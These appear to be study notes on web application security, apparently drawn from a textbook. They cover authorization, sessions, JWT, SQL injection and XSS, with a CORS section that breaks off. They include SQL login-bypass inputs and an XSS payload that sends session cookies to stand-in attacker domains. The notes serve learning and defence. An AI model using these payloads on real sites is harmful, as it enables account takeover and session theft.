1.

Authentication: Broken Authentication

2. Password recovery: Password Recovery
3. MFA: Broken 2FA
4. Authorization: Hide and Seek
5. Session cookies value updation leading to authotrization: Unsavoury cookies
6. Good Old JWT (JWT)
7. Secret Admin (JWT) pending to add
8. Cookie protection in Flask(Cookie extraction using xss)
9. CSRF Demo
10. Hello Stored XSS
11. AlerThemer (x' onerror=alert(1) t=') pending
12. Injection
13. Where is my data?
14. Advanced SQL injection tutorial
15. I want that password!(without hint)
16. Ping the World - Part 1
17. Ping the World - Part 1.5
18. Local Real Estate Inclusion
19. Log4jshell
20. Eye Land 1
21. Eye Land 2
22. XXE adventures in ASP.NET
23. SSRF with XXE
24. Real Estate Request Forgery
25. L1K3 API 1
26. Free Money
27.
28.
29.
30.
31.
32.
33.

Self try:

Externalized secrets

Tips Notes:
Authorization:

Do not rely on users’ ignorance of application URLs or the identifi ers used to specify application
resources, such as account numbers and document IDs. Assume that users know every application
URL and identifi er, and ensure that the application’s access controls alone are suffi cient to prevent
unauthorized access.

Do not assume that users will access application pages in the intended sequence. Do not assume
that because users cannot access the Edit Users page, they cannot reach the Edit User X page that is
linked from it.

Session Management;

The HTTP protocol is essentially stateless. It is based on a simple request-response model, in which
each pair of messages represents an independent transaction. The protocol itself contains no
mechanism for linking the series of requests made by a particular user and distinguishing these from
all the other requests received by the web server.

The majority of web “sites” are in fact web applications. They allow you to register and log in. They
let you buy and sell goods. They remember your preferences the next time you visit. They deliver
rich multimedia experiences with content created dynamically based on what you click and type. To
implement any of this functionality, web applications need to use the concept of a session.

This standard session management mechanism is inherently vulnerable to various categories of

attack. An attacker’s primary objective in targeting the mechanism is to somehow hijack the session
of a legitimate user and thereby masquerade as that person. If the user has been authenticated to
the application, the attacker may be able to access private data belonging to the user or carry out
unauthorized actions on that person’s behalf. If the user is unauthenticated, the attacker may still be
able to view sensitive information submitted by the user during her session.

The security-critical applications such as online banking. The vulnerabilities that exist in session
management mechanisms largely fall into two categories:

1. Weaknesses in the generation of session tokens

2. Weaknesses in the handling of session tokens throughout their life cycle

JWT:

Single Sign on feature widely uses the JWT feature to maintain the session after authentication. Each
user request will contain this token, allowing the user to access the resources they are permitted to
access.

JWT can also be used for Information Exchange, as the integrity will be maintained.

JWT Structure: JWT is mainly divided into 3 parts

1. Header
2. Payload
3. Signature

A typical signature will look as below:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwia
WF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Header:

The term in red colour is called the “Header” part. The header signifies the type, which is “JWT” and
the Algorithm used for the signature. The header when base64URL decoded is as below:

{"alg":"HS256","typ":"JWT"}

Payload:

The term in green colour is called the Payload. The payload contains the claims. They are the
statements about an entity/user and any additional information. Claims are further classified as

Registered claims: These claims are predefined claims such as the issuer, the expiration time, subject
etc.

Public claims: These can be defined at will by those using JWTs. But to avoid collisions they should be
defined in the IANA JSON Web Token Registry or be defined as a URI that contains a collision
resistant namespace.

Private claims: These are custom claims created by parties for information sharing.

Note that though these claims added here can be protected from modification by the signature,
however these claims can be read by anyone and hence its recommended not to add any sensitive
information in the payload section.

Decoded value:

"sub": "1234567890",

"name": "John Doe",

"iat": 1516239022

Signature:

The signature part would be signing the Base64url encoded value of header+Base64url encoded
value of Payload+secret as below

HMACSHA256(

base64UrlEncode(header) + "." +

base64UrlEncode(payload),

secret)

The signature is used to verify the message wasn't changed along the way, and, in the case of tokens
signed with a private key, it can also verify that the sender of the JWT is who it says it is.
JWT attacks:

JWT libraries typically provide one method for verifying tokens and another that just decodes them.
For example, the Node.js library jsonwebtoken has verify() and decode().
Occasionally, developers confuse these two methods and only pass incoming tokens to
the decode() method. This effectively means that the application doesn't verify the signature at all.

SQL Injection:

The means of accessing information within the database is Structured Query Language (SQL). SQL
can be used to read, update, add, and delete information held within the database. SQL is an
interpreted language, and web applications commonly construct SQL statements that incorporate
user-supplied data. If this is done in an unsafe way, the application may be vulnerable to SQL
injection. This flaw is one of the most notorious vulnerabilities to have afflicted web applications. In
the most serious cases, SQL injection can enable an anonymous attacker to read and modify all data
stored within the database, and even take full control of the server on which the database is
running.

SELECT * FROM users WHERE username = ‘marcus’ and password = ‘secret’

This query causes the database to check every row within the users table and extract each record
where the username column has the value marcus and the password column has the value secret. If
a user’s details are returned to the application, the login attempt is successful, and the application
creates an authenticated session for that user. In this situation, an attacker can inject into either the
username or the password fi eld to modify the query performed by the application and thereby
subvert its logic.

For example, if an attacker knows that the username of the application administrator is admin, he
can log in as that user by supplying any password and the following username: admin’-- This causes
the application to perform the following query:

SELECT * FROM users WHERE username = ‘admin’--’ AND password = ‘foo’

Note that the comment sequence (--) causes the remainder of the query to be ignored, and so the
query executed is equivalent to:

SELECT * FROM users WHERE username = ‘admin’

so the password check is bypassed.

Suppose that the attacker does not know the administrator’s username. In most applications, the

first account in the database is an administrative user, because this account normally is created
manually and then is used to generate all other accounts via the application. Furthermore, if the
query returns the details for more than one user, most applications will simply process the first user
whose details are returned. An attacker can often exploit this behavior to log in as the first user in
the database by supplying the username:

‘ OR 1=1—
This causes the application to perform the query:

SELECT * FROM users WHERE username = ‘’ OR 1=1--’ AND password = ‘foo’

Because of the comment symbol, this is equivalent to:

SELECT * FROM users WHERE username = ‘’ OR 1=1

which returns the details of all application users.

Try https://sqlzoo.net/wiki/SQL_Tutorial for learning how actually data extraction works.

INSERT

INSERT INTO users (username, password, ID, privs) VALUES (‘daf’, ‘secret’, 2248, 1)

SELECT

UPDATE users SET password=’newsecret’ WHERE user = ‘marcus’ and password = ‘secret’

DELETE Statements

Remediations:

In parameterized queries (also known as prepared statements), the construction of a SQL statement
containing user input is performed in two steps: 1. The application specifies the query’s structure,
leaving placeholders for each item of user input. 2. The application specifies the contents of each
placeholder.

The application should use the lowest possible level of privileges when accessing the database. In
general, the application does not need DBA level permissions. It usually only needs to read and write
its own data. In security-critical situations, the application may employ a different database account
for performing different actions. For example, if 90 percent of its database queries require only read
access, these can be performed using an account that does not have write privileges.

Many enterprise databases include a huge amount of default functionality that can be leveraged by
an attacker who gains the ability to execute arbitrary SQL statements. Wherever possible,
unnecessary functions should be removed or disabled

All vendor-issued security patches should be evaluated, tested, and applied in a timely way to fi x
known vulnerabilities within the database software itself.

XSS:

The user logs in to the application as normal and is issued a cookie containing a session token:

Set-Cookie: sessId=184a9138ed37374201a4c9672362f12459c2a652491a3
Through some means (described in detail later), the attacker feeds the following URL to the user:
http://mdsec.net/error/5/Error.ashx?message=
<script>var+i=new+Image;+i.src=https://attacker.com/”%2bdocument.cookie;</script>

As in the previous example, which generated a dialog message, this URL contains embedded
JavaScript. However, the attack payload in this case is more malicious.

3. The user requests from the application the URL fed to him by the attacker.

4. The server responds to the user’s request. As a result of the XSS vulnerability, the response
contains the JavaScript the attacker created.

5. The user’s browser receives the attacker’s JavaScript and executes it in the same way it does any
other code it receives from the application.

6. The malicious JavaScript created by the attacker is:

var i=new Image; i.src=”http://mdattacker.net/”+document.cookie;

This code causes the user’s browser to make a request to mdattacker.net which is a domain owned
by the attacker. The request contains the user’s current session token for the application:

GET /sessId=184a9138ed37374201a4c9672362f12459c2a652491a3 HTTP/1.1

Host: mdattacker.net

7. The attacker monitors requests to mdattacker.net and receives the user’s request. He uses the
captured token to hijack the user’s session, gaining access to that user’s personal information and
performing arbitrary actions “as” the user.

How it executes:

To understand why the attacker needs to exploit the XSS vulnerability, recall the same-origin policy
that was described in Chapter 3. Browsers segregate content that is received from different origins
(domains) in an attempt to prevent different domains from interfering with each other within a
user’s browser. The attacker’s objective is not simply to execute an arbitrary script but to capture
the user’s session token. Browsers do not let just any old script access a domain’s cookies;
otherwise, session hijacking would be easy. Rather, cookies can be accessed only by the domain that
issued them. They are submitted in HTTP requests back to the issuing domain only, and they can be
accessed via JavaScript contained within or loaded by a page returned by that domain only. Hence, if
a script residing on mdattacker.net queries document.cookie, it will not obtain the cookies issued by
mdsec.net, and the hijacking attack will fail. The reason why the attack that exploits the XSS
vulnerability is successful is that, as far as the user’s browser is concerned, the attacker’s malicious
JavaScript was sent to it by mdsec.net. When the user requests the attacker’s URL, the browser
makes a request to http://mdsec.net/error/5/Error.ashx , and the application returns a page
containing some JavaScript. As with any JavaScript received from mdsec.net, the browser executes
this script within the security context of the user’s relationship with mdsec.net. This is why the
attacker’s script, although it actually originates elsewhere, can gain access to the cookies issued by
mdsec.net. This is also why the vulnerability itself has become known as cross-site scripting.
Good example:

The authors encountered an application that had a stored XSS vulnerability within the user’s display
name. The only purpose for which this item was used was to show a personalized welcome message
after the user logged in. The display name was never displayed to other application users, so initially
there appeared to be no attack vector for users to cause problems by editing their own display
name. Other things being equal, the vulnerability would be classifi ed as very low risk. However, a
second vulnerability existed within the application. Defective access controls meant that any user
could edit the display name of any other user. Again, on its own, this issue had minimal signifi cance:
Why would an attacker be interested in changing the display names of other users? Chaining
together these two low-risk vulnerabilities enabled an attacker to completely compromise the
application. It was easy to automate an attack to inject a script into the display name of every
application user. This script executed every time a user logged in to the application and transmitted
the user’s session token to a server owned by the attacker.

CORS:

Sop:

In practice, applying this concept to the details of different web features and technologies leads to
various complications and compromises. Here are some key features of the same-origin policy that
you need to be aware of:

1. A page residing on one domain can cause an arbitrary request to be made to another
domain (for example, by submitting a form or loading an image). But it cannot itself process
the data returned from that request.
2. A page residing on one domain can load a script from another domain and execute this
within its own context. This is because scripts are assumed to contain code, rather than
data, so cross-domain access should not lead to disclosure of any sensitive information.
3. A page residing on one domain cannot read or modify the cookies or other DOM data
belonging to another domain. These features can lead to various cross-domain attacks, such
as inducing user actions and capturing data. Further complications arise with browser
extension technologies, which implement same-origin restrict